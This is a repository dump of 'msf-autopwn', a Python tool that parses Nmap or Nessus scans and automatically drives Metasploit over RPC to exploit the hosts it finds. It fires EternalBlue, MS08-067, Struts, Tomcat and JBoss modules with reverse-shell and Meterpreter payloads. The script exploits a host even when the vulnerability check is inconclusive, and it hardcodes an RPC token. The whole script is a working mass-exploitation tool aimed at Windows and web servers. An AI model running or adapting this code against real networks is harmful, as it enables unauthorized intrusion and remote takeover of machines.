├── msfrpc.rc ├── .gitignore ├── .gitmodules ├── Pipfile ├── LICENSE ├── README.md └── msf-autopwn.py /msfrpc.rc: -------------------------------------------------------------------------------- 1 | load msgrpc Pass=Au70PwN 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.txt 2 | *.gnmap 3 | *.nmap 4 | *.xml 5 | *.pyc 6 | *.lock 7 | *.nessus 8 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "msfrpc"] 2 | path = msfrpc 3 | url = https://github.com/DanMcInerney/msfrpc 4 | -------------------------------------------------------------------------------- /Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | 3 | url = "https://pypi.python.org/simple" 4 | verify_ssl = true 5 | name = "pypi" 6 | 7 | 8 | [dev-packages] 9 | 10 | 11 | 12 | [packages] 13 | 14 | netifaces = "*" 15 | python-libnmap = "*" 16 | termcolor = "*" 17 | netaddr = "*" 18 | ipython = "*" 19 | requests = "*" 20 | msgpack = "*" 21 | python-libnessus = "*" 22 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Dan McInerney 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | msf-autopwn 2 | ------ 3 | Parses Nessus or Nmap scans and autopwns everything. 4 | 5 | #### Installation 6 | This install is only tested on Kali. Clone into the repo, enter the cloned folder and run install.sh. Open a new terminal and start metasploit with the included rc file. Back in the original terminal continue by entering the newly-created virtual environment with pipenv. Finally, enter the included msfrpc/ folder and install it now that you're inside the virtual environment. 7 | 8 | ``` 9 | git clone https://github.com/DanMcInerney/msf-autopwn 10 | cd msf-autopwn 11 | In a new terminal: msfconsole -r msfrpc.rc 12 | pipenv install --three 13 | pipenv shell 14 | cd msfrpc && python2 setup install && cd .. 15 | ``` 16 | 17 | #### Usage 18 | ```./msf-autopwn.py -t targets.txt``` 19 | 20 | Run and parse Nmap on all newline-separated IPs or CIDR ranges (e.g.192.168.1.0/24) in the targets.txt file 21 | 22 | ```./msf-autopwn.py -x autopwn-scan.xml -u user1 -p P@ssw0rd``` 23 | 24 | Parse an Nmap XML file and connect to the msfrpc server using the username user1 and the password P@ssw0rd 25 | 26 | ```./msf-autpwn.py -n nessus_file.nessus``` 27 | 28 | Parse Nessus file for vulnerabilities with Metasploit modules and run them. 29 | 30 | #### Details 31 | Takes a list of hosts, an Nmap XML file, or a Nessus .nessus file and exploits vulnerable hosts via Metasploit. If given a hostlist, msf-autopwn will run an Nmap scan ```nmap -sS -O -T4 -sV -n --max-retries 5 -oA autopwn-scan``` then parses the output for vulnerable machines. 32 | 33 | When parsing .nessus scans, the script will find any high risk vulnerabilties and parse out the Metasploit module name from the plugin. It will then run the module against the server. 34 | 35 | When parsing Nmap .xml scans, it reads the service banner and performs any NSE scripts that might help identify the version better. Then it runs any relevant modules against the server and port. 36 | 37 | When it runs Metasploit modules it will first run the command ```check``` to see if the server is exploitable. If check explicity says the server isn't vulnerable the script will skip that exploit. If there's any uncertainty at all in check's output then the exploit is performed. 38 | 39 | Prints the live Metasploit output. Any sessions gained will be accessible via the msfconsole terminal you started before running msf-autopwn. The modules chosen are only the most commonly seen based on group experience. If you wish to suggest other modules that you've commonly seen on internal networks I welcome you to open an issue. 40 | 41 | Working modules: 42 | * exploit/windows/smb/ms08_067_netapi 43 | * exploit/windows/smb/ms17_010_psexec 44 | * exploit/windows/smb/ms17_010_eternalblue 45 | * exploit/multi/http/struts_dmi_rest_exec 46 | * exploit/multi/http/tomcat_jsp_upload_bypass 47 | * exploit/multi/http/tomcat_mgr_upload 48 | 49 | Future additional modules for Nmap scans: 50 | * Jenkins 51 | * exploit/linux/misc/jenkins_java_deserialize 52 | 53 | * Websphere 54 | * exploit/windows/misc/ibm_websphere_java_deserialize 55 | 56 | * JBoss 57 | * exploit/multi/http/jboss_bshdeployer 58 | * exploit/multi/http/jboss_invoke_deploy 59 | 60 | * Struts 61 | * exploit/multi/http/struts2_content_type_ognl 62 | * exploit/multi/http/struts2_rest_xstream 63 | -------------------------------------------------------------------------------- /msf-autopwn.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import re 4 | import os 5 | import sys 6 | import time 7 | import msfrpc 8 | import argparse 9 | import netifaces 10 | from IPython import embed 11 | from termcolor import colored 12 | from libnmap.process import NmapProcess 13 | from libnessus.parser import NessusParser 14 | from netaddr import IPNetwork, AddrFormatError 15 | from subprocess import Popen, PIPE, CalledProcessError 16 | from libnmap.parser import NmapParser, NmapParserException 17 | from libnessus.parser import NessusParser 18 | 19 | CLIENT = msfrpc.Msfrpc({}) 20 | 21 | def parse_args(): 22 | # Create the arguments 23 | parser = argparse.ArgumentParser() 24 | parser.add_argument("-l", "--hostlist", help="Host list file") 25 | parser.add_argument("-p", "--password", default='123', help="Password for msfrpc") 26 | parser.add_argument("-u", "--username", default='msf', help="Username for msfrpc") 27 | parser.add_argument("-x", "--xml", help="Nmap XML file") 28 | parser.add_argument("-n", "--nessus", help="Nessus .nessus file") 29 | parser.add_argument("--nmap-args", default='', help='Additional Nmap args, e.g. --nmap-args="--top-ports 1000 --max-rtt-timeout 300"') 30 | return parser.parse_args() 31 | 32 | # Colored terminal output 33 | def print_bad(msg): 34 | print((colored('[-] ', 'red') + msg)) 35 | 36 | def print_info(msg): 37 | print((colored('[*] ', 'blue') + msg)) 38 | 39 | def print_good(msg): 40 | print((colored('[+] ', 'green') + msg)) 41 | 42 | def print_great(msg): 43 | print((colored('[!] {}'.format(msg), 'yellow', attrs=['bold']))) 44 | 45 | def run_proc(cmd): 46 | ''' 47 | Runs single commands 48 | ''' 49 | cmd_split = cmd.split() 50 | print_info('Running: {}'.format(cmd)) 51 | proc = Popen(cmd_split, stdout=PIPE, stderr=PIPE) 52 | 53 | return proc 54 | 55 | def get_iface(): 56 | ''' 57 | Gets the right interface for Responder 58 | ''' 59 | try: 60 | iface = netifaces.gateways()['default'][netifaces.AF_INET][1] 61 | except: 62 | ifaces = [] 63 | for iface in netifaces.interfaces(): 64 | # list of ipv4 addrinfo dicts 65 | ipv4s = netifaces.ifaddresses(iface).get(netifaces.AF_INET, []) 66 | 67 | for entry in ipv4s: 68 | addr = entry.get('addr') 69 | if not addr: 70 | continue 71 | if not (iface.startswith('lo') or addr.startswith('127.')): 72 | ifaces.append(iface) 73 | 74 | iface = ifaces[0] 75 | 76 | return iface 77 | 78 | def get_local_ip(iface): 79 | ''' 80 | Gets the the local IP of an interface 81 | ''' 82 | ip = netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr'] 83 | return ip 84 | 85 | def get_exploitable_hosts(report): 86 | ''' 87 | Parses .nessus files for vulnerabilities that metasploit can exploit 88 | ''' 89 | exploits = {} 90 | 91 | for i in report.hosts: 92 | operating_sys = i.get_host_properties['operating-system'] 93 | rep_items = i.get_report_items 94 | for x in rep_items: 95 | vuln_info = x.get_vuln_info 96 | severity = x.severity 97 | if int(severity) > 2: 98 | if 'exploit_framework_metasploit' in vuln_info: 99 | if vuln_info['exploit_framework_metasploit'] == 'true': 100 | ip = i.address 101 | port = vuln_info['port'] 102 | msf_mod = vuln_info['metasploit_name'] 103 | print_good('Found vulnerable host! {}:{} - {}'.format(ip, port, msf_mod)) 104 | 105 | if msf_mod in exploits: 106 | exploits[msf_mod].append((operating_sys, ip, port)) 107 | else: 108 | exploits[msf_mod] = [(operating_sys, ip, port)] 109 | 110 | return exploits 111 | 112 | def parse_nmap(args): 113 | ''' 114 | Either performs an Nmap scan or parses an Nmap xml file 115 | Will either return the parsed report or exit script 116 | ''' 117 | if args.xml: 118 | try: 119 | report = NmapParser.parse_fromfile(args.xml) 120 | except IOError: 121 | print_bad('Host file not found: {}'.format(args.xml)) 122 | sys.exit() 123 | 124 | elif args.hostlist: 125 | hosts = [] 126 | with open(args.hostlist, 'r') as hostlist: 127 | host_lines = hostlist.readlines() 128 | for line in host_lines: 129 | line = line.strip() 130 | try: 131 | if '/' in line: 132 | hosts += [str(ip) for ip in IPNetwork(line)] 133 | elif '*' in line: 134 | print_bad('CIDR notation only in the host list, e.g. 10.0.0.0/24') 135 | sys.exit() 136 | else: 137 | hosts.append(line) 138 | except (OSError, AddrFormatError): 139 | print_bad('Error importing host list file. Are you sure you chose the right file?') 140 | sys.exit() 141 | 142 | report = nmap_scan(hosts, 'autopwn-scan', args.nmap_args) 143 | 144 | else: 145 | print_bad('Specify hostlist with: -l ') 146 | sys.exit() 147 | 148 | return report 149 | 150 | def nmap_scan(hosts, outfile, add_args): 151 | ''' 152 | Do Nmap scan 153 | ''' 154 | nmap_args = '-sS -O -T4 -sV -n {} --max-retries 5 -oA {}'.format(add_args, outfile) 155 | print_info('Running: nmap {}'.format(nmap_args)) 156 | nmap_proc = NmapProcess(targets=hosts, options=nmap_args, safe_mode=False) 157 | rc = nmap_proc.sudo_run_background() 158 | nmap_status_printer(nmap_proc) 159 | report = NmapParser.parse_fromfile(os.getcwd()+'/{}.xml'.format(outfile)) 160 | 161 | return report 162 | 163 | def nmap_status_printer(nmap_proc): 164 | ''' 165 | Prints that Nmap is running 166 | ''' 167 | i = -1 168 | x = -.5 169 | while nmap_proc.is_running(): 170 | i += 1 171 | # Every 30 seconds print that Nmap is still running 172 | if i % 30 == 0: 173 | x += .5 174 | print_info("Nmap running: {} min".format(str(x))) 175 | 176 | time.sleep(1) 177 | 178 | def get_nmap_os(host): 179 | ''' 180 | Gets Nmap's guess of OS 181 | ''' 182 | nmap_os = None 183 | 184 | for s in host.services: 185 | if 'ostype' in s._service: 186 | nmap_os = s._service['ostype'] 187 | 188 | if not nmap_os: 189 | 190 | nmap_os_raw = host.os_class_probabilities() 191 | if len(nmap_os_raw) > 0: 192 | nmap_os = str(nmap_os_raw[0]).split(':')[1].split('\r\n')[0].strip() 193 | else: 194 | # Default to Windows 195 | nmap_os = 'Nmap unable to guess OS; defaulting to Windows' 196 | 197 | return nmap_os 198 | 199 | def get_hosts(report, nse): 200 | ''' 201 | Prints host data 202 | ''' 203 | hosts = [] 204 | 205 | print_info('Parsing hosts') 206 | for host in report.hosts: 207 | if host.is_up(): 208 | ip = host.address 209 | 210 | nmap_os = get_nmap_os(host) 211 | 212 | if nse == False: 213 | print_info('{} - OS: {}'.format(ip, nmap_os)) 214 | 215 | for s in host.services: 216 | if s.open(): 217 | 218 | if host not in hosts: 219 | hosts.append(host) 220 | 221 | if 'product: ' in s.banner: 222 | banner = s.banner.split('product: ')[1] 223 | else: 224 | banner = s.banner 225 | 226 | port = str(s.port) 227 | 228 | if nse == False: 229 | print(' {} - {}'.format(port, banner)) 230 | 231 | 232 | if len(hosts) == 0: 233 | if nse == True: 234 | msg = 'NSE ' 235 | print_bad('No {}hosts found'.format(msg)) 236 | sys.exit() 237 | 238 | return hosts 239 | 240 | def check_named_pipes(c_id, ip, os_type): 241 | ''' 242 | If we can avoid EternalBlue we will because EternalRomance/Synergy 243 | works on more versions of Windows 244 | If we can get a named pipe then we'll use Romance/Synergy over Blue 245 | ''' 246 | pipes = None 247 | mod = 'auxiliary/scanner/smb/pipe_auditor' 248 | extra_opts = '' 249 | check = False 250 | port = '445' 251 | mod_out = run_msf_module(c_id, ip, mod, port, extra_opts, check, os_type) 252 | 253 | # Example output: 254 | ''' 255 | ['RHOSTS => 192.168.243.129', 256 | '[*] 192.168.243.129:445 - Pipes: \\netlogon, \\lsarpc, \\samr, \\atsvc, \\epmapper, \\eventlog, \\InitShutdown, \\lsass, \\LSM_API_service, \\ntsvcs, \\protected_storage, \\scerpc, \\srvsvc, \\W32TIME_ALT, \\wkssvc', 257 | '[*] Scanned 1 of 1 hosts (100% complete)['consoles'], 258 | '[*] Auxiliary module execution completed'] 259 | ''' 260 | 261 | for l in mod_out: 262 | delim = 'Pipes: ' 263 | if delim in l: 264 | pipes = l.split(delim)[1].split(', ') 265 | 266 | return pipes 267 | 268 | def create_msf_cmd(module_path, rhost_var, ip, port, payload, extra_opts): 269 | ''' 270 | You can set arbitrary options that don't get used which is why we autoinclude 271 | ExitOnSession True and SRVHOST (for JBoss); even if we use aux module this just won't do anything 272 | ''' 273 | local_ip = get_local_ip(get_iface()) 274 | print_info('Setting options on {}'.format(module_path)) 275 | cmds = """ 276 | set {} {}\n 277 | set RPORT {}\n 278 | set LHOST {}\n 279 | set SRVHOST {}\n 280 | set payload {}\n 281 | set ExitOnSession True\n 282 | {}\n 283 | """.format(rhost_var, ip, port, local_ip, local_ip, payload, extra_opts) 284 | 285 | return cmds 286 | 287 | def run_console_cmd(c_id, cmd): 288 | ''' 289 | Runs module and gets output 290 | ''' 291 | print_info('Running MSF command(s):') 292 | for l in cmd.splitlines(): 293 | l = l.strip() 294 | if l != '': 295 | print_info(' {}'.format(l)) 296 | print('') 297 | CLIENT.call('console.write',[c_id, cmd]) 298 | time.sleep(3) 299 | mod_output = wait_on_busy_console(c_id) 300 | print('') 301 | 302 | return mod_output 303 | 304 | def get_req_opts(c_id, module): 305 | req_opts = [] 306 | opts = CLIENT.call('module.options', [c_id, module]) 307 | for opt_name in opts: 308 | if b'required' in opts[opt_name]: 309 | if opts[opt_name][b'required'] == True: 310 | if b'default' not in opts[opt_name]: 311 | req_opts.append(opt_name.decode('utf8')) 312 | return req_opts 313 | 314 | def get_rhost_var(c_id, req_opts): 315 | for o in req_opts: 316 | if 'RHOST' in o: 317 | return o 318 | 319 | def get_payload(module, operating_sys, target_num): 320 | ''' 321 | Automatically get compatible payloads 322 | ''' 323 | payload = None 324 | payloads = [] 325 | win_payloads = ['windows/meterpreter/reverse_https', 326 | 'windows/x64/meterpreter/reverse_https', 327 | 'java/meterpreter/reverse_https', 328 | 'java/jsp_shell_reverse_tcp'] 329 | 330 | linux_payloads = ['generic/shell_reverse_tcp', 331 | 'java/meterpreter/reverse_https', 332 | 'java/jsp_shell_reverse_tcp', 333 | 'cmd/unix/reverse'] 334 | if target_num: 335 | payloads_dict = CLIENT.call('module.target_compatible_payloads', [module, int(target_num)]) 336 | else: 337 | payloads_dict = CLIENT.call('module.compatible_payloads', [module]) 338 | 339 | if b'error' in payloads_dict: 340 | if 'auxiliary' not in module: 341 | print_bad('Error getting payload for {}'.format(module)) 342 | else: 343 | # For aux modules we just set an arbitrary real payload 344 | payload = win_payloads[0] 345 | else: 346 | byte_payloads = payloads_dict[b'payloads'] 347 | for p in byte_payloads: 348 | payloads.append(p.decode('utf8')) 349 | 350 | # Set a preferred payload based on OS 351 | if 'windows' in operating_sys.lower(): 352 | for p in win_payloads: 353 | if p in payloads: 354 | payload = p 355 | elif 'linux' in operating_sys.lower(): 356 | for p in linux_payloads: 357 | if p in payloads: 358 | payload = p 359 | 360 | # No preferred payload found. If aux module, just set it to rev_https bc it doesn't matter 361 | if payload == None: 362 | if 'auxiliary' not in module: 363 | print_bad('No preferred payload found, first and last comapatible payloads:') 364 | print(' '+payloads[0]) 365 | print(' '+payloads[-1]) 366 | print_info('Skipping this exploit') 367 | return 368 | 369 | return payload 370 | 371 | def check_vuln(c_id): 372 | ''' 373 | Check if the machine is vulnerable 374 | ''' 375 | # potential messages: 376 | # Check failed: ..." 377 | # Cannot reliably check exploitability 378 | cmd = 'check\n' 379 | out = run_console_cmd(c_id, cmd) 380 | not_sure_msgs = ['Cannot reliably check exploitability', 381 | 'The state could not be determined', 382 | 'This module does not support check'] 383 | if out == []: 384 | print_info('Unsure if vulnerable, continuing with exploit') 385 | return True 386 | for l in out: 387 | if 'is vulnerable' in l: 388 | print_good('Vulnerable!') 389 | return True 390 | elif any(x in l for x in not_sure_msgs) or l == '': 391 | print_info('Unsure if vulnerable, continuing with exploit') 392 | return True 393 | 394 | return False 395 | 396 | def run_nessus_exploits(c_id, exploits): 397 | ''' 398 | Matches metasploit module description from Nessus output to the 399 | actual module path. Doesn't do aux (so no DOS), just exploits 400 | ''' 401 | # There might be a better way to do this but idk it 402 | # The way MSF search works is with an OR in between words even wrapped in quotes 403 | # ... dumb. 404 | print_info("Collecting list of all Metasploit modules...") 405 | all_mods = CLIENT.call('module.search', ['a e i o u']) 406 | for mod_desc in exploits: 407 | 408 | # convert mod_desc into mod_path 409 | path = None 410 | for mod in all_mods: 411 | if mod[b'name'].decode('utf8') == mod_desc: 412 | path = mod[b'fullname'].decode('utf8') 413 | 414 | # Prevent auxiliary and post modules, all DOS modules are auxiliary 415 | if not path.startswith('exploit/'): 416 | path = None 417 | break 418 | print_info('Using module {}'.format(path)) 419 | 420 | if not path: 421 | print_bad('Error finding module with description: {}'.format(mod_desc)) 422 | continue 423 | 424 | for os_type, ip, port in exploits[mod_desc]: 425 | extra_opts = '' 426 | check = True 427 | mod_out = run_msf_module(c_id, ip, path, port, extra_opts, check, os_type) 428 | 429 | def get_nse_scripts(hosts): 430 | nse_scripts = {} 431 | 432 | for host in hosts: 433 | ip = host.address 434 | nmap_os = get_nmap_os(host) 435 | if 'windows' in nmap_os.lower(): 436 | os_type = 'windows' 437 | else: 438 | os_type = 'linux' 439 | 440 | for s in host.services: 441 | if s.open(): 442 | port = str(s.port) 443 | ip_port = ip+":"+port 444 | 445 | # Run SMB vuln scripts 446 | if s.port == 445 and os_type == 'windows': 447 | port = str(s.port) 448 | smb_scripts = ['smb-vuln-ms17-010', 'smb-vuln-ms08-067'] 449 | if ip in nse_scripts: 450 | nse_scripts[ip][port] = smb_scripts 451 | else: 452 | nse_scripts[ip] = {port:smb_scripts} 453 | 454 | # Run HTTP scripts 455 | #elif 'http' in s.service: 456 | # http_scripts = ['http-title'] 457 | # if ip in nse_scripts: 458 | # nse_scripts[ip][port] = http_scripts 459 | # else: 460 | # nse_scripts[ip] = {port:http_scripts} 461 | 462 | return nse_scripts 463 | 464 | def run_nse_scripts(nse_scripts): 465 | ''' 466 | We only run nse scripts after we know its possibly vuln 467 | ''' 468 | # nse_scripts = {'ip':{'port':['script1', 'script2']}} 469 | hosts_lst = [] 470 | ports_lst = [] 471 | scripts_lst = [] 472 | 473 | for ip in nse_scripts: 474 | hosts_lst.append(ip) 475 | for port in nse_scripts[ip]: 476 | ports_lst.append(port) 477 | for scripts in nse_scripts[ip][port]: 478 | scripts_lst.append(scripts) 479 | 480 | ports = ','.join(list(set(ports_lst))) 481 | scripts = ','.join(list(set(scripts_lst))) 482 | 483 | report = nmap_scan(hosts_lst, 'nse-scan', '-p {} --script {}'.format(ports, scripts)) 484 | 485 | return report 486 | 487 | def run_nmap_exploits(c_id, hosts, nse_hosts): 488 | ''' 489 | Checks for exploitable services on a host 490 | ''' 491 | # These are for host scripts and service script vulns 492 | for nse_host in nse_hosts: 493 | check_host_scripts(c_id, nse_host) 494 | check_service_scripts(c_id, nse_host) 495 | 496 | # These are the regular first Nmap hosts service output, no scripts 497 | for host in hosts: 498 | check_nmap_services(c_id, host) 499 | 500 | def check_host_scripts(c_id, host): 501 | # Check for host script results 502 | ip = host.address 503 | os_type = get_nmap_os(host) 504 | 505 | ms08_vuln = check_nse_host_scripts(host, 'smb-vuln-ms08-067') 506 | if ms08_vuln: 507 | check = True 508 | mod = 'exploit/windows/smb/ms08_067_netapi' 509 | port = '445' 510 | mod_out = run_msf_module(c_id, ip, mod, port, '', check, os_type) 511 | 512 | ms17_vuln = check_nse_host_scripts(host, 'smb-vuln-ms17-010') 513 | if ms17_vuln: 514 | mod_out = run_ms17(c_id, ip, os_type) 515 | 516 | def check_nse_host_scripts(host, script): 517 | ''' 518 | Check if host if vulnerable via nse script 519 | ''' 520 | ports = [] 521 | ip = host.address 522 | 523 | for s in host.scripts_results: 524 | if s['id'] == script: 525 | if 'State: VULNERABLE' in s['output']: 526 | print_good('NSE script {} found vulnerable host: {}'.format(script, ip)) 527 | return True 528 | 529 | return False 530 | 531 | def check_service_scripts(c_id, host): 532 | for s in host.services: 533 | if s.open(): 534 | port = str(s.port) 535 | #for script in s.scripts_results: 536 | # if script['id'] == 'http-title': 537 | # script_out = script['output'] 538 | 539 | def check_nmap_services(c_id, host): 540 | ''' 541 | Checks Nmap service banners for potential vulnerabilities 542 | ''' 543 | mods = [] 544 | ip = host.address 545 | os_type = get_nmap_os(host) 546 | 547 | for s in host.services: 548 | if s.open(): 549 | port = str(s.port) 550 | 551 | if 'Apache Tomcat/Coyote JSP engine' in s.banner: 552 | 553 | # JBoss - jboss_mods may return empty list 554 | jboss_mods = check_for_jboss_vulns(c_id, port, ip, os_type) 555 | mods += jboss_mods 556 | 557 | # Struts DMI REST exec 558 | # Can Struts be run without Tomcat? Maybe, but seems really rare 559 | struts_mod = ('exploit/multi/http/struts_dmi_rest_exec', port) 560 | mods.append(struts_mod) 561 | 562 | # Tomcat manager upload with default creds 563 | tomcat_mgr_mod = ('exploit/multi/http/tomcat_mgr_upload', port) 564 | mods.append(tomcat_mgr_mod) 565 | 566 | if len(mods) > 0: 567 | for m in mods: 568 | check = True 569 | mod = m[0] 570 | port = m[1] 571 | mod_out = run_msf_module(c_id, ip, mod, port, '', check, os_type) 572 | check_for_retry(c_id, mod_out) 573 | 574 | def check_for_retry(c_id, mod_out): 575 | ''' 576 | Sometimes some modules retry after failing but the console won't 577 | say it's busy while the module sleeps for X seconds which means 578 | the script will continue but the sleepy module's handler will interfere 579 | with further exploits 580 | ''' 581 | sleep_time = None 582 | for l in mod_out: 583 | re_sleep_time = re.search('retrying in (\d) seconds', l) 584 | if re_sleep_time: 585 | sleep_time = int(re_sleep_time.group(1))+2 586 | break 587 | 588 | if sleep_time: 589 | time.sleep(sleep_time) 590 | new_out = print_cur_output(c_id) 591 | check_for_retry(c_id, new_out) 592 | 593 | def check_for_jboss_vulns(c_id, port, ip, os_type): 594 | ''' 595 | Checks if page is running vulnerable JBoss 596 | ''' 597 | jboss_mods = [] 598 | jboss_vuln_scan = 'auxiliary/scanner/http/jboss_vulnscan' 599 | extra_opts = '' 600 | check = False 601 | mod_out = run_msf_module(c_id, ip, jboss_vuln_scan, port, extra_opts, check, os_type) 602 | 603 | jmx_console_mod = ('exploit/multi/http/jboss_maindeployer', port) 604 | #jmx_console_mod2 = 'exploit/multi/http/jboss_bshdeployer' 605 | for l in mod_out: 606 | if '/jmx-console/HtmlAdaptor does not require authentication' in l: 607 | jboss_mods.append(jmx_console_mod) 608 | if '/invoker/JMXInvokerServlet does not require authentication' in l: 609 | print_great('JBoss may be vulnerable to deserialization! Requires manual exploitation') 610 | 611 | return jboss_mods 612 | 613 | def set_target(c_id, mod, os_type): 614 | ''' 615 | Sets the correct target based on OS 616 | Skips auxiliary modules 617 | ''' 618 | 619 | # Skip aux modules 620 | if 'auxiliary' in mod: 621 | cmd = 'use {}\n'.format(mod) 622 | else: 623 | cmd = 'use {}\nshow targets\n'.format(mod) 624 | 625 | targets = run_console_cmd(c_id, cmd) 626 | 627 | if 'windows' in os_type.lower(): 628 | os_type = 'windows' 629 | else: 630 | os_type = 'linux' 631 | 632 | for l in targets: 633 | if 'No exploit module selected' in l: 634 | return 635 | re_opt_num = re.match('(\d) ', l) 636 | if re_opt_num: 637 | target_num = re_opt_num.group(1) 638 | if 'Windows Universal' in l and os_type == 'windows': 639 | run_console_cmd(c_id, 'set target {}'.format(target_num)) 640 | return target_num 641 | elif 'Linux Universal' in l and os_type == 'linux': 642 | run_console_cmd(c_id, 'set target {}'.format(target_num)) 643 | return target_num 644 | 645 | def run_msf_module(c_id, ip, mod, port, extra_opts, check, os_type): 646 | local_ip = get_local_ip(get_iface()) 647 | req_opts = get_req_opts(c_id, mod) 648 | 649 | for o in req_opts: 650 | if 'RHOST' in o: 651 | rhost_var = o 652 | 653 | target_num = set_target(c_id, mod, os_type) 654 | payload = get_payload(mod, os_type, target_num) 655 | cmd = create_msf_cmd(mod, rhost_var, ip, port, payload, extra_opts) 656 | settings_out = run_console_cmd(c_id, cmd) 657 | 658 | if check == True: 659 | print_info('Checking if host is vulnerable...') 660 | mod_out = run_if_vuln(c_id, cmd) 661 | else: 662 | exploit_cmd = 'exploit -z\n' 663 | mod_out = run_console_cmd(c_id, exploit_cmd) 664 | 665 | return mod_out 666 | 667 | def run_ms17(c_id, ip, os_type): 668 | ''' 669 | Exploit ms17_010 670 | ''' 671 | # Check for named pipe availability (preVista you could just grab em) 672 | # If we find one, then use Romance/Synergy instead of Blue 673 | port = '445' 674 | named_pipe = None 675 | 676 | named_pipes = check_named_pipes(c_id, ip, os_type) 677 | 678 | # Just use the first named pipe 679 | if named_pipes: 680 | print_good('Named pipe found! Performing more reliable ms17_010_psexec instead of eternalblue') 681 | named_pipe = named_pipes[0] 682 | mod = 'exploit/windows/smb/ms17_010_psexec' 683 | extra_opts = 'set NAMEDPIPE {}'.format(named_pipe) 684 | else: 685 | print_info('Named pipe not found. Performing ms17_010_eternalblue') 686 | mod = 'exploit/windows/smb/ms17_010_eternalblue' 687 | extra_opts = 'set MaxExploitAttempts 6' 688 | 689 | check = True 690 | mod_out = run_msf_module(c_id, ip, mod, port, extra_opts, check, os_type) 691 | 692 | return mod_out 693 | 694 | def run_if_vuln(c_id, cmd): 695 | is_vulnerable = check_vuln(c_id) 696 | if is_vulnerable == True: 697 | exploit_cmd = 'exploit -z\n' 698 | mod_out = run_console_cmd(c_id, exploit_cmd) 699 | 700 | return mod_out 701 | 702 | def print_cur_output(c_id): 703 | output = [] 704 | cur_output = CLIENT.call('console.read', [c_id])[b'data'].decode('utf8').splitlines() 705 | for l in cur_output: 706 | l = l.strip() 707 | if l != '': 708 | output.append(l) 709 | if re.search('Session . created in the background', l): 710 | print_great(l) 711 | else: 712 | print(' '+l) 713 | 714 | return output 715 | 716 | def wait_on_busy_console(c_id): 717 | ''' 718 | The only way to get console busy status is through console.read or console.list 719 | console.read clears the output buffer so you gotta use console.list 720 | but console.list requires you know the list offset of the c_id console 721 | so this ridiculous list comprehension seems necessary to avoid assuming 722 | what the right list offset might be 723 | ''' 724 | output = [] 725 | list_offset = int([x[b'id'] for x in CLIENT.call('console.list')[b'consoles'] if x[b'id'] is bytes(c_id, 'utf8')][0]) 726 | # Get any initial output 727 | cur_out = print_cur_output(c_id) 728 | output += cur_out 729 | while CLIENT.call('console.list')[b'consoles'][list_offset][b'busy'] == True: 730 | cur_out = print_cur_output(c_id) 731 | output += cur_out 732 | time.sleep(1) 733 | 734 | # Get remaining output 735 | cur_out = print_cur_output(c_id) 736 | output += cur_out 737 | 738 | return output 739 | 740 | def main(report, args): 741 | global CLIENT 742 | 743 | # Authenticate and grab a permanent token 744 | try: 745 | CLIENT.login(args.username, args.password) 746 | except: 747 | print_bad('Failed to connect to MSF RPC server. Are you sure you have the right password?') 748 | CLIENT.call('auth.token_add', ['Au70PwN']) 749 | CLIENT.token = 'Au70PwN' 750 | 751 | c_ids = [x[b'id'] for x in CLIENT.call('console.list')[b'consoles']] 752 | 753 | if len(c_ids) == 0: 754 | CLIENT.call('console.create') 755 | c_ids = [x[b'id'] for x in CLIENT.call('console.list')[b'consoles']] # Wait for response 756 | time.sleep(2) 757 | 758 | # Get the latest console 759 | c_id = c_ids[-1].decode('utf8') 760 | # Clear console output 761 | CLIENT.call('console.read', [c_id])[b'data'].decode('utf8').splitlines() 762 | 763 | if args.nessus: 764 | # exploits = {'msf_module_name':[(ip, port), (ip, port)] 765 | exploits = get_exploitable_hosts(report) 766 | run_nessus_exploits(c_id, exploits) 767 | remainder_output = wait_on_busy_console(c_id) 768 | else: 769 | # hosts = {ip : [(port, banner), (port2, banner2)] 770 | hosts = get_hosts(report, False) 771 | nse_scripts = get_nse_scripts(hosts) 772 | nse_report = run_nse_scripts(nse_scripts) 773 | nse_hosts = get_hosts(nse_report, True) 774 | run_nmap_exploits(c_id, hosts, nse_hosts) 775 | remainder_output = wait_on_busy_console(c_id) 776 | 777 | if __name__ == "__main__": 778 | args = parse_args() 779 | if os.geteuid(): 780 | print_bad('Run as root') 781 | sys.exit() 782 | if args.nessus: 783 | report = NessusParser.parse_fromfile(args.nessus) 784 | else: 785 | report = parse_nmap(args) 786 | main(report, args) 787 | 788 | #TODO 789 | # Add JBoss, Tomcat, Jenkins, WebSphere 790 | --------------------------------------------------------------------------------